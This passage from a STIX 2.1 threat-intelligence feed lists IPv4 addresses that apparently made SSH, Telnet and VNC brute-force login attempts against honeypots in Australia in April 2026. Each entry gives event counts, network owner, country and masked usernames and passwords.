      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.153.73.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): A*******************p, G************1, U**************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): e****e, r**t, s***l. Passwords observed (masked): a**o, **, s****m.",
      "id": "indicator--89b118ac-debd-44d9-98b6-9b48de42685d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.245.55.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): ***, ***, r**t, t**t. Passwords observed (masked): ***, ***, r**t, t**t.",
      "id": "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): 1***5. Passwords observed (masked): 1***5.",
      "id": "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): 1****6, p***y. Passwords observed (masked): 1****6, p***y.",
      "id": "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***n, *, ***, ***, u**r. Passwords observed (masked): *, ***, 1****6, ***, a***n.",
      "id": "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s****a, u****u, f********r, r*****m. Passwords observed (masked): *, s****a, 1****6, ***, 1**4.",
      "id": "indicator--4a7d487f-eade-44ca-8550-f8c7420b4ce8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1********0.",
      "id": "indicator--968d8641-7f77-405c-9671-ec6209ac223c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.46.224.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): **. Passwords observed (masked): r**********************1, r*******y.",
      "id": "indicator--40301986-638d-4aea-b145-4905414b56c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.157.163.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD.",
      "id": "indicator--7f4f3f05-2f81-41fd-94ce-77c4034005f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, b********n, s****a, v*******r. Passwords observed (masked): ***, b********n, ***, s****a, v*******r.",
      "id": "indicator--eb7f9625-e6d3-48f9-acfa-51c14b2a3d18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s****a, e***r, e******m, e************r, n**e. Passwords observed (masked): s****a, e***r, e******m, e************r, n**e.",
      "id": "indicator--51b26af1-49c2-4824-a3c4-ff66b73e5ceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T14:15:11.000Z",
      "valid_until": "2026-05-03T14:15:09.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2062. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): b******s, m******e, r******r, 1******8, M******k.",
      "id": "indicator--5f31ba93-1ef2-4a67-8c80-3df1bf60f784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): A******6, C******1, U******6, q*******e.",
      "id": "indicator--1088585e-341d-4800-aa08-af5368cae4fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.40.73.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133774. Organisation(s): Fuzhou. Usernames observed (masked): r**t. Passwords observed (masked): A****7, O****4, Q****3, Q*********9, Q**********n.",
      "id": "indicator--ba1cda76-421b-47d8-8cf8-c048506735e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.150.188.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 203214. Organisation(s): Hulum Almustakbal Company for Communication Engineering and Services Ltd. Usernames observed (masked): ***, e****e, s***l. Passwords observed (masked): ***, **, s****m.",
      "id": "indicator--4ebb785a-1425-43e9-b6d7-0443a44d0456",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.236.74.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--1a90fab1-89c0-454b-a23a-9cf6dcb8e141",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.91.16.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--932cff54-83a7-4e19-a093-aaa55640c1dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): a***n. Passwords observed (masked): A******3.",
      "id": "indicator--77a71d90-e787-4000-adac-d08f1745850a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:15:10.000Z",
      "valid_until": "2026-05-03T15:15:08.000Z"
    },
    {
      "created": "2026-04-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): r**t. Passwords observed (masked): p******d.",
      "id": "indicator--11a1e906-6f9e-4d65-b411-ad7cc5df60e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:15:10.000Z",
      "valid_until": "2026-05-03T16:15:08.000Z"
    },
    {
      "created": "2026-04-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 43350. Organisation(s): NForce Entertainment B.V..",
      "id": "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.107.80.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:15:10.000Z",
      "valid_until": "2026-05-03T16:15:08.000Z"
    },
    {
      "created": "2026-04-01T16:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: GB. ASN(s): 201579. Organisation(s): Hostgnome Ltd. Usernames observed (masked): a***n, r**t, o******i. Passwords observed (masked): a***n, *, o******i, p******d.",
      "id": "indicator--9d57e7e1-b092-48d9-8424-935f4cf2d943",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.91.69.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:15:10.000Z",
      "valid_until": "2026-05-03T16:15:08.000Z"
    },
    {
      "created": "2026-04-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 540. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, s*****t, u**r, ***. Passwords observed (masked): a***n, 1**4, p******d, 1***5, 1****6.",
      "id": "indicator--353e8171-0401-43a4-b592-d5bff003431e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:15:10.000Z",
      "valid_until": "2026-05-03T16:15:08.000Z"
    },
    {
      "created": "2026-04-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 512. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, d*******r, ***. Passwords observed (masked): 1****6, D*******!, 1**4, p******d, *****.",
      "id": "indicator--d1147ef7-8162-41f7-98b1-7d36644a0650",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.44.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:15:10.000Z",
      "valid_until": "2026-05-03T16:15:08.000Z"
    },
    {
      "created": "2026-04-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): A*******************p, G************1, U**************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:15:10.000Z",
      "valid_until": "2026-05-03T16:15:08.000Z"
    },
    {
      "created": "2026-04-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 267784. Organisation(s): Flyservers S.A..",
      "id": "indicator--e6881d09-44ef-40f0-be40-8ceb1a9372ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.227.254.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:15:10.000Z",
      "valid_until": "2026-05-03T16:15:08.000Z"
    },
    {
      "created": "2026-04-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56047. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--eb336237-729d-46c6-a5d5-da41cd436b56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.215.215.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:15:10.000Z",
      "valid_until": "2026-05-03T17:15:08.000Z"
    },
    {
      "created": "2026-04-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a76b474a-76ba-474b-b835-f9fd9325b545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:15:10.000Z",
      "valid_until": "2026-05-03T17:15:08.000Z"
    },
    {
      "created": "2026-04-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--ee80a910-7349-4858-b3f7-cf2ef74b3605",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.68.32.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:15:10.000Z",
      "valid_until": "2026-05-03T17:15:08.000Z"
    },
    {
      "created": "2026-04-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9df0c2d7-0580-4c50-bd90-6ce624c8578c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:15:10.000Z",
      "valid_until": "2026-05-03T17:15:08.000Z"
    },
    {
      "created": "2026-04-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****#, 1***5, 3***********4, 3**********4, A*********3.",
      "id": "indicator--436740e0-a8c4-40c8-a618-2209526c6c7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.91.97.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:15:10.000Z",
      "valid_until": "2026-05-03T17:15:08.000Z"
    },
    {
      "created": "2026-04-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--a918067e-93d4-434e-8609-686a503868e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.211.144.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:15:10.000Z",
      "valid_until": "2026-05-03T17:15:08.000Z"
    },
    {
      "created": "2026-04-01T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--70aec735-b534-4dc9-a419-29a9a9c775ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.200.243.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:15:10.000Z",
      "valid_until": "2026-05-03T19:15:08.000Z"
    },
